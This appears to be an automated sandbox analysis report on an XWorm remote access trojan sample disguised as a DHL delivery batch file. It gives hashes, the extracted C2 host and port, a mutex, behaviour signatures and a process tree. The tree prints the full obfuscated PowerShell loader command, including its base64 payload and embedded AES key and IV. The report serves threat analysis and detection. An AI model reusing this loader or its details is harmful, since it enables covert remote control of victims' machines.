xworm | 03d52942b9129557104e5e3bbbf581e914edc984eca17e28a52bf581846dc176

Analysis

max time kernel
95s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
06/03/2025, 15:59

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General

Target
awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat
Size 64KB
Sample250306-tfa9basq16
SHA256 999ec6f3dd5816786295500cd790941727bdaccb9640becf284938bda7cd73a9
MD5 fef11d117754e450b937fd134f9dba13
SHA1 1024f7c99c81e39f0f53710d24e06ddea52082ad
SHA512 db20ef27451bb79a9f21b9213e29e9ee40326c8b8dc28ba824a3aad3d901481ab18acd49d77ee0a2d68799853db5ed1ac9e76e8515070ee83632181a141a0bc4
SSDEEP 1536:8nDChFG71EIZWgZkbmEKUgXEXzICKUnFT3mKHWCW7zxk7Qvc5MCzAlZt:DHft3mK2Cuzv/H
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

tripplebanks.duckdns.org:3399

Mutex

bppouzbV7pFA6n72

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/1184-21-0x000002A69DC60000-0x000002A69DC70000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
36	1184	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1184	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eaf58335.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_eaf58335.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1184	powershell.exe
1184	powershell.exe
1184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1184	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 4728	4656	cmd.exe	85
PID 4656 wrote to memory of 4728	4656	cmd.exe	85
PID 4728 wrote to memory of 1184	4728	cmd.exe	87
PID 4728 wrote to memory of 1184	4728	cmd.exe	87

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_06_03_2025_00000000000250.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskY3ltZGkgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGN5bWRpKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRjeW1kaSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRjeW1kaSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkY3ltZGkiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24genpzdnIoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1VSdS9RWlRaODlPQnQ0ZXlmdGVZTFhBb2ozdklKSklhT3R4blY1TVVSMms9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0g4Sk43d05LRmdGekhQZ1BBVkFiL1E9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gZnZnd3MoJHBhcmFtX3Zhcil7CSRua21yZz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkd2lmd2M9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdHNjdWE9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbmttcmcsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRzY3VhLkNvcHlUbygkd2lmd2MpOwkkdHNjdWEuRGlzcG9zZSgpOwkkbmttcmcuRGlzcG9zZSgpOwkkd2lmd2MuRGlzcG9zZSgpOwkkd2lmd2MuVG9BcnJheSgpO31mdW5jdGlvbiB3YmVyZygkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHZmZHNzPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGhnbGtyPSR2ZmRzcy5FbnRyeVBvaW50OwkkaGdsa3IuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGN5bWRpOyRoYWRwaD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGN5bWRpKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkZmNwIGluICRoYWRwaCkgewlpZiAoJGZjcC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHRuZ2ZhPSRmY3AuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGFkdmtrPVtzdHJpbmdbXV0kdG5nZmEuU3BsaXQoJ1wnKTskam5ocnQ9ZnZnd3MgKHp6c3ZyIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFkdmtrWzBdKSkpOyRmanViaz1mdmd3cyAoenpzdnIgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWR2a2tbMV0pKSk7d2JlcmcgJGpuaHJ0ICRudWxsO3diZXJnICRmanViayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_tkissspn.iwf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tkissspn.iwf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

dwm.bat

Path C:\Users\Admin\dwm.bat
Size 64KB
SHA256 999ec6f3dd5816786295500cd790941727bdaccb9640becf284938bda7cd73a9
MD5 fef11d117754e450b937fd134f9dba13
SHA1 1024f7c99c81e39f0f53710d24e06ddea52082ad
SHA512 db20ef27451bb79a9f21b9213e29e9ee40326c8b8dc28ba824a3aad3d901481ab18acd49d77ee0a2d68799853db5ed1ac9e76e8515070ee83632181a141a0bc4
SSDEEP 1536:8nDChFG71EIZWgZkbmEKUgXEXzICKUnFT3mKHWCW7zxk7Qvc5MCzAlZt:DHft3mK2Cuzv/H
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1184-16-0x00007FF9AF9C0000-0x00007FF9B0481000-memory.dmp

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memory/1184-13-0x00007FF9AF9C0000-0x00007FF9B0481000-memory.dmp

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memory/1184-14-0x00007FF9AF9C0000-0x00007FF9B0481000-memory.dmp

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memory/1184-12-0x000002A69D630000-0x000002A69D652000-memory.dmp

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memory/1184-2-0x00007FF9AF9C3000-0x00007FF9AF9C5000-memory.dmp

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memory/1184-17-0x00007FF9AF9C0000-0x00007FF9B0481000-memory.dmp

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memory/1184-18-0x000002A69D620000-0x000002A69D628000-memory.dmp

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memory/1184-19-0x000002A69DBB0000-0x000002A69DBBE000-memory.dmp

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memory/1184-21-0x000002A69DC60000-0x000002A69DC70000-memory.dmp

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memory/1184-22-0x00007FF9AF9C3000-0x00007FF9AF9C5000-memory.dmp

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memory/1184-23-0x00007FF9AF9C0000-0x00007FF9B0481000-memory.dmp

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memory/1184-24-0x000002A69D770000-0x000002A69D98C000-memory.dmp

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